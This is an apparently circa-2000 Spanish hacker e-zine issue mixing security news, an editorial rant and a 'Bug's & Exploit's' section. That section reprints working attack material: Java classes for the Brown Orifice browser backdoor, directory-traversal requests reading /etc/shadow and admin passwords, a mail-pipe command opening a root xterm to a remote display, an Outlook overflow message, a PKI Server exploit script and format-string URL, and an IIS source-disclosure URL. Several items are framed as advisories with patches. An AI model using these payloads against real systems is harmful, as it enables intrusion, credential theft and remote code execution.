Mas informacion:  Securityfocus: www.securityfocus.com/vdb/bottom.html	





|=================|=====================|
| "Web-Troyano"   | www.brumleve.com    |
|=================|=====================|


Nuevos agujeros de  seguridad permiten  compartir  los  ficheros  y  directorios
locales de los sistemas de los usuarios con tan solo visitar una pagina  web con
el navegador de Netscape. Un applet de Java dise�ado  para la  ocasion  consigue
eludir las restricciones de la  "sandbox"  de Netscape  y abrir  un  puerto  que
convierte el disco duro del visitante/victima en un servidor  web accesible  por
cualquiera.  Dam Brumleve, un joven "hacker" de 22 a�os, ha desarrollado  "Brown
Orifice HTTPD", un applet  que convierte al navegador de Netscape en un troyano-
backdoor.La funcion de "BOHTTPD" consiste en abrir un servidor web en el sistema
del usuario y compartir su disco duro,  de forma que cualquiera puede  acceder a 
sus ficheros locales desde Internet  con un simple navegador.  Para construir el
applet, "BOHTTPD",aprovecha en primer lugar una vulnerabilidad que permite abrir
un servidor  Java accesible  de forma  remota por  un cliente  arbitrario.  Esta
vulnerabilidad es explotada en BOServerSocket.java y BOSocket.java:

[BOServerSocket.java]
import java.io.IOException;
import java.lang.SecurityException;
import java.net.Socket;
import java.net.ServerSocket;
public class BOServerSocket extends ServerSocket {
public BOServerSocket(int port) throws IOException {
super(port);
}
public BOSocket accept_any() throws IOException {
BOSocket s = new BOSocket();
try { implAccept(s); } catch (SecurityException se) { }
return s;
}
}
[BOSocket.java]
import java.net.Socket;
import java.io.IOException;
public class BOSocket extends Socket {
public void close_real() throws IOException {
super.close();
}
public void close() {
}
}

En segundo lugar, aprovecha otra vulnerabilidad que permite acceder a  cualquier 
URL desde el applet cliente,  incluyendo  los  ficheros  locales,  de  forma que
facilita compartir el disco duro del usuario.Esta vulnerabilidad es explotada en
BOURLConnection.java y BOURLInputStream.java:

[BOURLConnection.java ]
import java.net.MalformedURLException;
import java.net.URL;
import netscape.net.URLConnection;
public class BOURLConnection extends URLConnection {
public BOURLConnection(String u) throws MalformedURLException {
super(new URL(u));
connected = true;
}
public BOURLConnection(URL u) {
super(u);
connected = true; }
} 
[BOURLInputStream.java]
import java.net.URL;
import java.io.IOException;
import netscape.net.URLInputStream;
import netscape.net.URLConnection;
public class BOURLInputStream extends URLInputStream {
public BOURLInputStream(URLConnection uc) throws IOException {
super(uc);
open();
}
} 

Brumleve mantiene una pagina donde demuestra en la practica como funciona "Brown
Orifice",en la cual podemos indicar el directorio local que queremos compartir y
el puerto en  el  que escuchara  nuestro servidor web.  La  demostracion tambien
recoge en una pagina web el listado de todos los sistemas que estan  probando el
applet,lo que algunos ya estan aprovechando para compartir MP3s y otros recursos
Para cerrar  el  servidor  web  basta  con  cerrar  la sesion  de  Netscape  que
mantenemos abierta con el applet.  Segun una ultima  nota del  autor,  ha podido
comprobar como un sistema Windows 2000 ha  continuado ejecutando  "BOHTTPD"  aun
despues de haber cerrado el navegador, aunque de momento seria un hecho  aislado
del que no se conocen mas detalles.  Netscape no ha facilitado  aun parche  para
corregir estas vulnerabilidades,por lo que la unica solucion pasa por desactivar
el soporte de Java en sus navegadores.

Mas informacion:  Brown Orifice: www.brumleve.com/BrownOrifice





|====================================|=========|
| Reclutamiento de Hackers           | EleKtr0 |
|====================================|=========|

Ya es sabido,que muchos gobiernos estancontratando los servicios de hackers para
resguardar la seguridad informatica nacional y poder seguir encubriendonos lo  k
es nuestro, bueno ahora se hiso esto oficial, ya que  en Quebec estan reclutando
hackers,para provar la seguridad de los ordenadores del gobierno de dicha ciudad
Han montado unos laboratorios a  base de ordenadores  de 400 Mhz  por que  segun
dicen,"es lo que todos tienen..."Ademas de provar la seguridad de los computines
del los estafadores,  tedran  que comprovar  la  seguridad  de  los sistemas  de 
informacion compartida, osea los consultorios, hospitales, policias,oficinas,etc
como si todo esto fuera poco tmb tendran que aprovar la compra de material  para
las comunicaciones, osea tendran que decir si un fax es  o no seguro, telefonos,
celulares, todo! uff impresionante...





|==================|================|
| Bug BitchX       | www.bitchx.org |
|==================|================|

Desbordamiento de bufer en BitchX

BitchX es vulnerable a un  ataque  de  desbordamiento  de bufer  que permite  la
ejecucion de codigo arbitrario en la maquina del usuario,con los privilegios del
usuario que haya invocado el programa.  BitchX  es un cliente de IRC muy popular
en el mundo Unix,especialmente en los entornos Linux. Las versiones recientes de
BitchX son vulnerables a varios ataques de desbordamiento de bufer, en  concreto
bajo el comando "invite". El problema se  manifiesta cuando un atacante invita a
la victima a un canal con comandos de formato en su nombre.  En el  mejor de los
casos, el ataque provoca la caida de la conexion IRC del usuario,  y en  el peor
puede permitir la ejecucion de codigo arbitrario en la maquina de la victima.
Los usuarios que utilicen BitchX deben actualizar su version enseguida,  o  bien
aplicar los parches correspondientes. Los parches solo corrigen el problema  mas
grave  (el comando "invite"),  pero la version  actual  del  programa  soluciona
numerosos problemas potenciales tambien.

Mas informacion:  BitchX: www.bitchx.org



Autor     : EleKtr0
Titulo    : UnderNews
Linkz     : Agradecimientos a:
            www.hispasec.com
		


�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����









,���``����
    13
`���,�,���


Autor     : Lectores
Titulo    : ZZZZzzzzzzZZZZZzzzzZZZZZzzzz! 

Comentario: No duermas mas y atrevete a mandarme tu articulo, que no te preocupe
el nivel del contenido solo haslo! y participa en esta nueva aventura, tambien y
de paso dare el aviso de alguien que se quiera encargar de la seccion noticias o
tmb la creacion de la pajina web, o en la creacion de  logotipos,  recuerda  que
soy yo solo, y ahora estoy sudando la gota gorda...

- 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
- 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
- www.electron-team.subnet.dk

Contenido : Aqui debiera ir tu sabiduria... y esfuerzo! 
            Alo! alo! provando!, si! si!, 1,2,3 provando!... tuuuuuuuuuuuuuuuuuu






�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    14
`���,�,���


Autor     : EleKtr0
Titulo    : Criticas!
Correo    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
URL       : www.electron-team.subnet.dk

Comentario: Inovacion, es  lo que  se necesita  y bueno aqui  estamos intentando
inovar, en esta seccion  pretendo dar  un  espacio  de  libre opinion a  quienes
tengan algo que decir, contar o symplemente criticar, preferenciando  sobre  las
demas la critica,siempre k esta sea una critica positiva, no destructiva a menos
que esta critica destrucitva plantee de forma clara las posibles soluciones  que
el caso requiera...  

El espacio Under_Filosofico  se construira  principalmente  de  sus pensaminetos
asik no esperes mas y manda de una ves eso que tanto quieres  decir,  expresate!
liberate!, revelate! haslo! ya! aqui esta la oportunidad k estubistes  esperando
por largo tiempo aprovechala hasla tuya!, por  otro  lado tambien hago valida la 
invitacion a la gente de afuera, asik ya saben�

Y como yo tampoco quiero perderme este lindo espacio comensare con la primera de
este e-zine,haa! por cierto,no teman a ser paranoicos, locura! es la receta para
que este espacio sea entretenido y tenga buena aseptacion...


__________________________________________________________ELECTRON SECURITY TEAM

Cualquier opinion,critica,comentario,pensamineto, reflexion etc, es de exclusiva
responsabilidad del autor, y no representara en ningun caso el pensamiento y  la
responsabilidad del ELECTRON SECURITY TEAM, amenos k sea se�alado durante el txt

ELECTRON SECURITY TEAM__________________________________________________________



Contenido : Hoy en dia donde la rutina es reina y ama de la "vida" diaria, donde
ya no se alcanza a percibir lo real de lo ficticio, donde ya dudamos hasta de lo
natural, en  donde la vida no es mas que el trayecto de la casa al trabajo y del
trabajo a la casa, donde domina el poder del dinero y la anarquia  social de los
revolucionarios imponiendo sus propias leyes, donde  el gobierno adopta posturas
futuristas, aceptando leyes  consumistas y  dandoselas  de  nacion  desarrollada
, imponiendo una imagen internacional, haci es! imponiendo! una faceta llena  de
burdos y asquerosos sub-desarrollos, cuando la realidad que mastican es otra muy
distinta,,,y esque tienen a su gente muriendose de hambre, obligandolos a tragar
las migajas que a ellos les sobran, migajas que de porsi tienen un mal sabor, un
sabor a fraude, enga�o, burla, un sabor que seria mucho mas aceptable si fuese a
nada, pero de forma obligada y sin preguntarle a nadien la vida sigue su rumbo y
conjunta y ciegamente todos la siguen �TODOS!,sin detenerse jamas y cuestionarse
el por que estan caminando y mas aun,donde conduce este camino tan ireal como la
la misma realidad?, que fin tendra? son unos blasfemicos tan absurdos,tan sucios
tan insensatos, donde muchos creen en la libertad, cuando realmente  nadien  les
pregunto si acaso estaban dispuesto a haceptar  esta  loca  sociedad  y  caminar
con ella, solo se dejaron colocar la venda sobre sus ojos pensando que esta  los
protegeria, cuando no hizo mas que esconder lo injusto que es lo justo!... Todos
preocupados por la libertad! ja! que basura... la libertad es una mentira, y aun
asi hay gente que cree en ella,cuando creen que la verdadera, es un deber humano
y no un derecho a ser ejercido dignamente,o como cuando dicen que la libertad es
decir lo k uno kiera a quien quiera,sin detenerse a pensar un solo minuto de sus
absurdas vidas,por el respeto humano por que al fin de  cuentas  somo HUMANOS  y
mientras lo seamos seremos seres imperfetos dispuestos a tragar  cualquier  tipo
de mentira disfrasada de verdad,...



Autor     : EleKtr0
Titulo    : Criticas!
Correo    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
URL       : www.electron-team.subnet.dk


�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    15
`���,�,���


Autor     : EleKtr0
Titulo    : Bug`s & Exploit`s

Contenido : 


#####################################################################################
# Sistema Operativo # Windos 2000, NT     # Descripcion :Durante el proceso de inicio
########################################### de sesion de un usuario en  WinNT y  2000
# Vulnerabilidad    # Relative Shell Path # se ejecuta la aplicacion Explorer.exe que
########################################### se encuentra en el directorio Windows.
# Fuente del Bug    # www.hispasec.com    # Debido  a  un error  de  Microsoft  al no
########################################### especificar la  trayectoria  absoluta  de 
 este fichero, es posible  situar un  troyano con el mismo  nombre en el raiz  que se
 ejecutara con los  privilegios  del usuario  que inicie la  sesion  Cada vez  que un
 usuario inicia la sesion, Windows NT y 2000 leenla entrada del registro:

 HLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
 para conocer el fichero que deben ejecutar como Shell, por  defecto  "Explorer.exe",
 sin indicar la trayectoria absoluta

 Cuando en Windows no se especifica la trayectoria de un fichero inicia una busqueda
 en el siguiente orden:

 1. Busca en el directorio actual

 2. Si el fichero no ha sido localizado, busca en los directorios especificados en:
 HLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path

 3. Si tampoco es localizado, busca en los directorios especificados en:
 HKEY_CURRENT_USER\Environment\Path

 Esto quiere decir que,durante el inicio de sesion,en primer lugar intenta localizar
 a "Explorer.exe" en el raiz (ejem: C:\), a continuacion en el directorio de sistema
 (ejem: C:\WINNT\System32), y por  ultimo en la carpeta de Windows (ejem: C:\WINNT),
 donde se encuentra el fichero

 Por defecto todos los usuarios del sistema tienen permisos  de escritura  sobre  el
 directorio raiz, lo que  facilita  que un atacante  local pueda  situar  un troyano
 renombrado como "Explorer.exe" en el raiz,que se ejecutaria cada vez que un usuario
 inicie la sesion con sus privilegios de seguridad

 Microsoft argumenta que no especifica una trayectoria absoluta porque podria causar
 problemas  de  compatibilidad  con software comercial,  que interrogan  tambien  el
 registro de Windows para conocer el nombre del Shell, no estan preparados para leer
 una trayectoria completa Es por esta razon que no es posible, al menos recomendable
 corregir la vulnerabilidad mediante  la inclusion de la  trayectoria absoluta en la
 entrada del registro Para solucionar el problema Microsoft ha modificado el  codigo
 de Inicio de sesion para que anteponga la trayectoria adecuada antes del nombre del
 fichero

 Los  parches  para  corregir  esta  vulnerabilidad,  segun   plataforma, puede  ser
 descargados de las siguientes direcciones:

 Microsoft Windows NT 4.0 Workstation, Windows NT 4.0 Server,y Windows NT 4.0 Server

 Enterprise Edition:
 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23360

 Microsoft Windows 2000 Professional, Server, y Advanced Server:
 http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23359

 Microsoft Windows NT 4.0 Server, Terminal Server Edition:
 No disponibles aun.

 




#####################################################################################
# Sistema Operativo # Linux                # Descripcion : CommuniGate nos ofrece una
############################################ URL para acceder directamente a la  guia
# Vulnerabilidad    # CommuniGate Pro 3.2.4# web del usuario,  mapeado  /Guide/  a un
############################################ subdirectorio del directorio donde hemos
# Fuente del Bug    # www.bugtraq.com      # instalado  el programa.  El servidor web
############################################ que  incorpora  el  progama   sufre  del 
ampliamente conocido problema de las peticiones "../..".  Si hacemos  una peticion al
mapeo /Guide/ del servidor web de gestion usando la tecnica de "../..", obtenemos:

homer:~$ telnet ilf 8010
Escape character is '^]'.
GET /Guide/../../../../../../../../../../../../../../../etc/motd HTTP/1.0

HTTP/1.0 200 OK
[... el contenido del fichero /etc/motd]

Connection closed by foreign host.
homer:~$

Dado que CommuniGate se ejecuta como superusuario y no libera sus privilegios,podemos
acceder a cualquier fichero del sistema, por ejemplo /etc/shadow...

Podriamos pues, recuperar el fichero de configuracion de la cuenta de administrador/
postmaster, que contiene el fichero en texto plano del servidor web de gestion:

homer:~$ telnet ilf 8010
Escape character is '^]'.
GET
/Guide/../../../../../../../../../../../var/CommuniGate/Accounts/postmaster.
macnt/account.settings HTTP/1.0

HTTP/1.0 200 OK
Content-Length: 61
Date: Mon, 03 Apr 2000 09:17:35 GMT
Content-Type: application/octet-stream
Server: CommuniGatePro/3.2.4
Expires: Tue, 04 Apr 2000 09:17:35 GMT

{ ExternalINBOX = NO; Password = 8093; UseAppPassword = YES;}
Connection closed by foreign host.
homer:~$

2. Ejecucion remota (como root) de comandos arbitrarios

Esto no constituye una vulnerabilidad por si mismo, sino que es una demostracion de
hasta donde puede llegar un atacante que se haga con la contrase�a del administrador

Mirando algunas de las funcionalidades de  CommuniGate  encontramos la  funcion PIPE
Permite a cualquier usuario mandar correo a un programa en el servidor de correo.Por
defecto esta funcionalidad esta deshabilitada,aunque dado que poseemos la contrase�a
de  gestion,  podemos  activarla,  configurar  el  directorio  de aplicaciones  como
/usr/X11R6/bin, incrementar el tiempo maximo de ejecucion de un  proceso y mandar un
correo a "xterm -display 172.16.2.4:0.0 -e /bin/sh"@pipe con  lo que  se nos  abrira
una xterm como root en el escritorio...



Versiones y plataformas afectadas
---------------------------------

Esta vulnerabilidad ha sido comprobada en la distribucion Linux de la version  3.2.4
(la ultima version estable) que se encuentra en www.stalker.com. No se ha comprobado
en ninguna otra de las plataformas,ni con ninguna version previa, aunque creemos que
el fallo no es especifico a esta plataforma ni version en concreto.

Las versiones beta (a partir de la v3.3b2) no estan afectadas por este problema.

Solucion
--------

En breve estara disponible la siguiente version estable (v3.3) que  solucionara este
problema. Mientras tanto,  las versiones beta a partir  de la v3.3b2  ya tienen este
problema solucionado.

Las actualizaciones estan disponibles en la web del fabricante,
http://www.stalker.com






######################################################################################
# Sistema Operativo # Windos 9x,NT,2000    # Descripcion:Una importante vulnerabilidad
############################################ en Outlook y Outlook  Express permite  el
# Vulnerabilidad    # Outlook Expres       # envio   de   un  mensaje,  que  causa  la
############################################ ejecucion de codigo arbitrario durante su
# Fuente del Bug    # www.hispasec.com     # recuperacion en dichos clientes de correo
############################################ Microsoft  ha  facilitado  un  parche que
recomienda instalar a todos los usuarios afectados.

La vulnerabilidad  se  encuentra  en Inetcomm.dll, un  componente  compartido  por los
clientes de correo Oulook y Outlook Express. Esta libreria contiene un bufer que puede
ser desbordado al recibir un correo electronico via POP3 o IMAP4, sin necesidad de que
el destinatario abra o previsualice el mensaje.  Explotar  esta  vulnerabilidad  puede
provocar un error y el reinicio de la aplicacion o la ejecucion de codigo arbitrario.

Para llevar a cabo el ataque basta  conectar a  un servidor  SMTP a traves de telnet y
enviar un mensaje con un argumento excesivamente largo en  la  seccion  GMT  del campo
fecha. Por ejemplo:

HELO
MAIL FROM: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
RCPT TO: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
DATA
Date: Thu,13 Jun 2000 12:33:16 +11111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
.
QUIT

Este mensaje provocara un error y el reinicio de los  clientes de  correo  Outlook  y
Outlook Express durante la operacion de  descarga desde  el  servidor  de  correo  al
sistema de la victima. Hay que destacar  que no es necesario abrir o previsualizar el
mensaje para que se provoque  el desbordamiento  de bufer. El  correo electronico  no
llega a recibirse en el buzon del cliente, ni se borra del servidor de correo, por lo
que el ataque se puede repetir de forma continua cada vez que se intente descargar el
correo, hasta que el administrador borre el  mensaje que explota la vulnerabilidad  o
que la victima instale el parche correspondiente.

Todas las versiones de Inetcomm.dll se encuentran afectadas,a excepcion de las que se
distribuyen junto con  Internet Explorer 5.01 Service Pack 1  y Outlook  Express 5.5.
Tambien se  encuentran libres  del problema los usuarios que  tengan  configurado  en
Outlook el protocolo MAPI para comunicarse con el servidor de correo, como ocurre por
defecto cuando el servidor es Microsoft Exchange.  Sin embargo, se recomienda a estos
ultimos la instalacion del parche, ya que corrige otras vulnerabilidades ademas de la
que nos ocupa.

Versiones afectadas:

-Microsoft Outlook Express 4.0
-Microsoft Outlook Express 4.01
-Microsoft Outlook Express 5.0
-Microsoft Outlook Express 5.01
-Microsoft Outlook 97
-Microsoft Outlook 98
-Microsoft Outlook 2000

Los usuarios afectados deben instalar el parche especifico o algunas de las versiones
de Outlook no afectadas.

Parche "Malformed E-mail Header" (disponible de momento solo para IE5.01):
http://www.microsoft.com/windows/ie/download/critical/patch9.htm

Area de descarga y actualizaciones en version Espa�ol:
http://www.microsoft.com/windows/ie_intl/es/download/







#####################################################################################
# Sistema Operativo # Windos NT            # Descripcion: Mientras  se investigaba la
############################################ explotabilidad de un buffer  overflow en
# Vulnerabilidad    # Net Tools PKI Server # el " Net  Tools PKI  Server  de  Network 
############################################ Associates Inc. "se han descubierto tres
# Fuente del Bug    # www.core-sdi.com     # nuevas  vulnerabilidades  no  arregladas
############################################ por el hotfix 1,lanzando para solucionar
problemas  reportados  por  Jim Stickley  de  Garrison  Technologies  Inc.  ( version
  y  )

Descripcion del Problema
~~~~~~~~~~~~~~~~~~~~~~~~

Problema #1: Buffer overflow en strong.exe

Un  buffer  overflow  en  el componente  de servidor  de web  de Net Tools PKI server
permite a un atacante remoto ejecutar codigo arbitrario  como SYSTEM en la maquina en
la que lo esta corriendo.

Para determinar si alguien ha intentado  explotar  esta vulnerabilidad, verifique los
archivos enroll-access.log y admin-access.log en el directorio  WebServer/logs  de su
instalacion de Net Tools PKI Server. Busque por  cualquier  entrada de  log  que  sea
excesivamente  larga  (mas de 500 caracteres).  Cada entrada de  log  puede luego ser
examinada para ver la direccion IP de la computadora que envio el pedido.


Problema #2: Vulnerabilidad de Directory traversal

La instalacion por defecto de Net Tools PKI Server permite a un atacante remoto ver y
bajarse cualquier archivo que resida en el servidor.

Para determinar si alguien ha intentado explotar esta vulnerabilidad,  verifique  los
archivos enroll-acess.log y admin-access.log  en  el  directorio WebServer/logs de su
instalacion de Net Tools PKI Server. Busque por cualquier entrada de  log conteniendo
"..\". Cada entrada de log puede luego ser examinada para ver la  direccion IP  de la
computadora que envio el pedido.


Problema #3: Strings de Formato con datos suministrados por el usuario

El Net Tools PKI Server falla en validar  adecuadamente la  informacion  pasada  como
argumentos a las rutinas de logueo del servidor  permitiendo  a  un  atacante  remoto
ejecutar codigo arbitrario como SYSTEM en la maquina sobre la que esta corriendo.


Impacto
~~~~~~~

Problema #1: Acceso remoto no autenticado  al servidor PKI,  ejecucion  de  comandos
arbitrarios como el usuario corriendo el enrollment server (System)

Problema #2: Acceso remoto no autenticado a cualquier archivo en el servidor PKI

Problema #3: Acceso remoto no  autenticado al servidor PKI,  ejecucion  de  comandos
arbitrarios como el usuario corriendo el enrollment server (System)


Detalles Tecnicos
~~~~~~~~~~~~~~~~~

Problema #1: Buffer overflow en strong.exe

Strong.exe es el componente de servidor web del PKI Server,recibe pedidos sobre SSL
en los ports 443/tcp,  444/tcp  y  445/tcp (ports por defecto).  Mientras  que  las
conexiones  al  port  443/tcp  requieren  que ambos el cliente  y  el  servidor  se
autentiquen usando certificados,  las  conexiones  al  port  444/tcp  no  requieren
autenticacion por parte del cliente,por lo tanto cualquier usuario con conectividad
de red hacia el servidor PKI puede conectarse via HTTPS a ese port.

El servicio corriendo en el port 443/tcp es llamado el  Administrative Web Server y
por lo tanto es obvio  el  requerimiento  de  la  autenticacion mutua.  El servicio
corriendo en el port 444/tcp es el Enrollment Web Server y  por defecto no requiere
un certificado por el lado del  cliente.  Los dos servidores web  son  en  realidad
servidores virtuales servidos por el strong.exe.

Un buffer overflow existe en la funcion que genera la informacion de log,que permite
sobreescribir el stack usando  informacion  dada por  el  usuario pasada al servidor 
como un URL en el pedido HTTPS.

https://host:444/<2965 caracteres 'A'>

EAX=66206465 EBX=00F3E1C0 ECX=01FFF224 EDX=20414141
EDI=00000000 EBP=01FFFE60 ESP=01FFF258 EIP = 0040977B

El valor en EAX es parte del string (FECHA+PATH+ARCHIVO+RAZON)
que se loguea, detallando la razon del fallo. Dado que no es una direccion valida,se
produce un segmentation fault unas instrucciones despues de haberse sobreescrito  el
buffer:

mov ecx,[eax+000000E4]

Lo anterior no sobreescribe el EIP y mata al servidor antes de que sea sobreescrito,
pero una minima  variacion  de esto permitira  al atacante sobreescribir EBP, EIP y
sobreescribiendo cuidadosamente variables locales, controlar la ejecucion de codigo
arbitrario en la maquina atacada.

A continuacion, un perl script de prueba de concepto ejemplifica esto:



------------------------------------------------------------------------ cortar aqui
------------------------------------------------------------------------ cortar aqui

#!/usr/bin/perl
# NAI NetTools PKI SERVER 1.0 - Exploit de Stack Overflow por URL Largo
# Cambie el host y port y cree el archivo html:
#./pkiluso.pl > test.html
#Abra el html con un navegador compatible con SSL y haga click en el
link. puf!
#Juliano Rizzo (c) 2000 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  

 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 >

$host = "localhost";
$port = "444";
$shell_code= "\x90\x90\x90\x90";

#Podemos setear los valores de EIP y EBP, nuestro codigo esta en el
stack
#y en 0x01613A2E.
$eip = "\x2E\x3A\x61\x01";#0x01613A2E (URL leido desde el socket)
#$eip = "\x64\x83\x40%00";#0x00408364 (CALL EBP)
$ebp = "\xCB\xF2jumi\x02"; #0x0200F2CB (trunca el string por el 00)
$noplen = (2965 - length($shell_code));
print "Haga
click aqui para el exploit.!";


cortar aqui --------------------------------------------------------------------------
cortar aqui --------------------------------------------------------------------------



Problema #2: Vulnerabilidad de Directory traversal

Especificando '..\' en pedidos HTTPS al enrollment server, un atacante puede navegar
el file system del servidor y ver/bajarse cualquier archivo si conoce su nombre. Por
defecto  el enrollment  server  usa  \Program Files\Network Associates\Net Tools PKI 
Server\WebServer\enroll-server como el directorio  root  de  Web,  si  un  nombre de
archivo es conocido (por ej.: autoexec.bat) el atacante s olo necesita  suministraar
el resto de los componentes del path para accederlo:

https://host:444/..\..\..\..\..\autoexec.bat

mostrara el contenido del archivo en el navegador.

Si un nombre de archivo no es conocido, el servidor web revelara su directorio root
de web en un mensaje de error mostrado al cliente:

https://host:444..\..\pirulo.pdf resultara en:

File Not Found

The requested URL /..\..\pirulo.pdf was not found on this server.

Tambien habia un poco mas de informacion adicional sobre el error:
[Tue Jun 27 19:47:33 2000] access to C:\Program Files\Network
Associates\
Net Tools PKI Server\WebServer\enroll-server/..\..\pirulo.pdf failed
for a.b.c.d, reason: File does not exist

Problema #3: Strings de Formato con datos suministrados por el usuario

El URL suministrado por el usuario  es procesado  por Strong.exe  y si la  extension
.XUDA es encontrada, el pedido es redireccionado a XUDAD.EXE  para  su procesamiento
Antes de efectuar este pase el string es  parseado,  filtrado  de  metacaracteres  y
pasado a  una  funcion  que  loguea el pedido. En  algun  lugar de  este  camino  de
procesamiento, la informacion suministrada por el usuario se convierte  en el string
de formato para una funcion de salida formateada similar a sprintf() de ANSI C. Esto
permite a un atacante remoto proveer datos que forzaran a la funcion a sobreescribir
porciones arbitrarias de la memoria del proceso y  causar un  ataque  de negacion de
servicio o la ejecucion de codigo arbitrario.

Para ejemplificar esto, el siguiente URL causara un DoS:


https://host:444/%25%25s.xuda

Notese que el valor hexa 0x25 representa el caracter ascii '%', por lo que el string
URL sera convertido en "%%s.xuda" yposteriormente en "%s.xuda".

Un ataque mas elaborado podria intentar sobreescribir la direccion de retorno en el
stack para forzar al servidor a ejecutar codigo arbitrario.

Prueba de concepto, URL de ejemplo:


https://host:444/xxx%3c%b9%ff%01%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x\

%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25x\

%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x\

%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25x\
%25n.xuda

nota: El string ha sido wrappeado para su mejor lectura.


Informacion sobre su arreglo
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Network Associates In.c ha lanzado un Hotfix 3 para el Net Tools PKI Server.
Este soluciona los tres problemas. Puede ser obtenido de:







#####################################################################################
# Sistema Operativo # Windos NT            # Descripcion:Una ves mas los archivos del
############################################ servidor web de Microsoft pueden ver  su
# Vulnerabilidad    # IIS  4.0, 5.0        # codigo descubierto mediante una censilla 
############################################ modificacion de la url.Segun se comprovo
# Fuente del Bug    # www.hispasec.com     # son multiples los  servidores  afectados 
############################################ que dejan al descubierto la seguridad de
su sitio web.Este problema puede poner al descubierto las passwords de  las bases  de 
datos, passwords administrativas, y detalles del funcionamiento del servidor web o de
la logica de negocio del sitio. Para explotar la vulnerabilidad bastara con solicitar
un nombre de archivo existente, por ejemplo global.asa seguido de el caracter +  y la
extension ".htr".  De esta forma, cuando se encuentra un "+" en el nombre de archivo,
ISM.DLL truncara el "+.htr" y abre el archivo solicitado. Si dicho archivo  no  es un
.htr parte del codigo fuente quedara expuesto al atacante. Por ello, el intruso podra
recuperar  el  contenido  de  archivos  como el global.asa  que  contienen  a  menudo
informacion sensible como el nombre de usuario y password del servidor SQL. El ataque
es tan sencillo como construir la url de la siguiente forma:

http://www.servidor.afectado.com/global.asa+.htr

El ataque no permitira modificar datos de las paginas, pero si acceder a  informacion
sensible que permita desarrollar otro tipo de ataques.  Microsoft  ha  publicado  los
parches necesarios para cubrir esta vulnerabilidad, cuya instalacion se recomienda  a
todos los administradores de Internet Information Server 4 o 5. Otra solucion posible
es desactivar el soporte de archivos .htr.

Mas informacion:  Boletin de seguridad de Microsoft:

http://www.microsoft.com/technet/security/bulletin/MS00-044.asp 	




Autor     : EleKtr0
Titulo    : Bug`s & Exploit`s
Linkz     : Agradecimientos a:
		www.hispasec.com
		www.core-sdi.com
            www.bugtraq.com
				

		     
�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����









,���``����
    16
`���,�,���


|================================================================================|
| Autor     |      El Editor         |                                           |
|=========== ========================     Seccion en construccion... hasta que   |
| Titulo    |  Correo Electronico    | que se desidan a mandarme sus comentarios |
|=========== ========================   dudas,preguntas,consultas,interrogantes  |
| Correo    | 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   | proposiciones, ideas, articulos, criticas |
|=========== ======================== hasta ese entonces, esta seccion seguira en|
| Comentario|  Y que piensas ahora?  |             construccion                  |
|=========== ========================                  bye!                      |
| Contenido | .,-`^�-,. . .,-`^�-,.  |                                           |
|=========== ======================== ===========================================|





�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����









,���``����
    17
`���,�,���


Autor     : ELECTRON SECURITY TEAM
Titulo    : Intentando dar una Respuesta
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
URL       : www.electron-team.subnet.dk

Comentario: Y en esta ultima seccion del e-zine intentare nuevamente inovar, esta
ves tratare de iniciar un espacio donde los lectores se atrevan a preguntar y tmb
responder distintas preguntas,tratare de dar respuestas a sus inquietudes y dudas
de la mejor forma posible, los temas de las preguntas debieran ser variados,desde
hacking (aunk no sepa nada de eso,) hasta la definicion de algun concepto u  idea
que no entiendas, como lo que yo se es muy poco, podria  tocar el caso en que las
mismas dudas suyas sean las mias,en este caso dejare planteada la pregunta  a ver
si otra persona que nos lee sabe algo al respecto, eso seria mas o menos, ahora a
enviar sus preguntas al correo oficial del e-zine: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Como no hay preguntas, entonces yo  hare unas  cuantas  a modo de  ejemplo,  pero
haciendo referencias alo que es este nuevo e-zine, nada de tecnisismos o algo por
el estilo, eso lo dejare para el sgt numero:

Contenido :

[Nota: antes de empesar con las preguntas me gustaria aclarar algo,no me ballan a
venir a preguntar cosas como,cual es el secreto para ser un hacker? o si acaso yo
aseptaria ser su maestro,o estupideses aun mayores que se les puedan ocurrir,pero
tmb decir que no por esto no bayan a preguntar, symplemente piensa un poco  antes
de hacerlo, no tengas miedo a preguntar cosas tontas,solo teme cuando creas estar
llegando al limite de lo tonto y lo estupido!,te pongo un ejemplo de la vida real
cierta ves le preguntaron al PAPA, cuantas personas trabajan en el baticano??????
y el respondio, "alrededor de la mitad..." Otra cosa, esque no crean  tampoco que
por querer responder a unas cuantas preguntas me las doy se sabelotodo o de guru,
nada de eso, cuidado que las malas lenguas y los mal hablados abundan en demasia]



          ==================================
 	    Preguntas de esta primera edicion:
          ==================================


(-01-)... Que es exactamente ELECTRON SECURITY TEAM, e-zine ?�
(-02-)... Por que ELECTRON ?�
